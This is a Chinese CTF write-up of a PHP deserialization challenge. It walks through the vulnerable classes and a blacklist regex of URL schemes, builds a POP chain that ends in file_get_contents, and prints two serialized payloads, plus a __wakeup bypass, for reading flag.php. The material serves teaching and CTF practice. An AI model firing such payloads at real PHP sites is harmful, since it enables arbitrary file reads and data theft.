Web - pop链构造

文章目录

源码

<?php
// flag in flag.php
class C1e4r{
    public $test;
    public $str;
    public function __construct($name){
        $this->str = $name;
    }
    public function __destruct(){
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        echo $this->source;
    }
    public function __toString(){
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function _show(){
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)){
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
    }
    public function __wakeup(){
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)){
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $file;
    public $params;
    public function __construct(){
        $this->params = array();
    }

    public function __get($key){
        return $this->get($key);
    }

    public function get($key){
        if(isset($this->params[$key])){
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }

    public function file_get($value){
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}


show_source(__FILE__);
$name=unserialize($_GET['strs']);
?>

分析

class C1e4r{
    public $test;
    public $str;
    public function __construct($name){
        $this->str = $name;
    }
    public function __destruct(){
        $this->test = $this->str;
        echo $this->test;
    }
}
  • 两个共有属性$teststr
  • __construct()在对象被实体化时触发,将传入的值赋给$str
  • __destruct()在对象被销毁时触发,将内部的$str赋给$test并以字符串的形式输出(可触发__toString())
class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        echo $this->source;
    }
    public function __toString(){
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function _show(){
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)){
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
    }
    public function __wakeup(){
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)){
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
  • 两个共有属性$source$str
  • __construct()在对象被实体化时触发,将传入的值赋给$source并以字符串的形式输出(触发__toString())
  • __toString()在对象被当作字符串调用时触发,返回$str['str']对象的$source(这里的$str是一个数组,他的str键对应了一个对像)
  • __set()在赋值不可访问或不存在的属性时触发,将传过来的第二个值赋给第一个值
  • _show()过滤$source,不能存在httphttpsfile:gopherdict..f1ag不区分大小写,若不存在则高亮$source
  • __wakeup()在反序列化时触发,过滤$source中的httphttpsfile:gopherdict..f1ag,并赋值$source='index.php'
class Test{
    public $file;
    public $params;
    public function __construct(){
        $this->params = array();
    }

    public function __get($key){
        return $this->get($key);
    }

    public function get($key){
        if(isset($this->params[$key])){
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }

    public function file_get($value){
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
  • 两个共有属性$file$params
  • __construct()在对象实体化时触发,将一个空数组赋给$params
  • __get()在读取不可访问得属性时触发,将传入的值传入get()函数
  • get()如果params[$key]存在,将它传入file_get(),否则将"index.php"传入file_get.php
  • file_get()得到传入的文件加密后返回
$name=unserialize($_GET['strs']);

  1. 拿flag:在Test::file_get()中有读取文件操作,Test::get()可以调用他,Teat::__get()调用get()
  2. 触发__get()Show::__toString()方法中的$str['str']->source,如果这个键对应的是Test对象,即可触发
  3. 触发__toString()C1e4r::__destruct()Show::__construct()可以触发,若为第一种,则$str=new Show;若为第二种,则$source=new Show

payload*2

  1. 使用C1e4r::__destruct()
<?php
class Test {
    public $file;
    public $params = array('source'=>'flag.php');
}
class Show {
    public $source;
    public $str;    //$str['str']=new Test
}
class C1e4r {
    public $test;
    public $str;    //$str=new Show
}
$a = new C1e4r;
$a->str = new Show;
$a->str->str['str'] = new Test;
echo serialize($a);
# O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:8:"flag.php";}}}}}
  1. 使用Show::__construct()
    这里要注意一点:这个方法需要使用Show::source属性,所以需要绕过__wakeup(),最后手动将他对应的属性值改大实现绕过
<?php
class Test {
    public $file;
    public $params = array('source'=>'flag.php');
}
class Show {
    public $source;     //new Show
    public $str;        //$str['str']=new Test
}
$a = new Show;
$a->source = new Show;
$a->source->str['str'] = new Test;
echo serialize($a);
# O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:8:"flag.php";}}}}s:3:"str";N;}
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1ta-chi

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值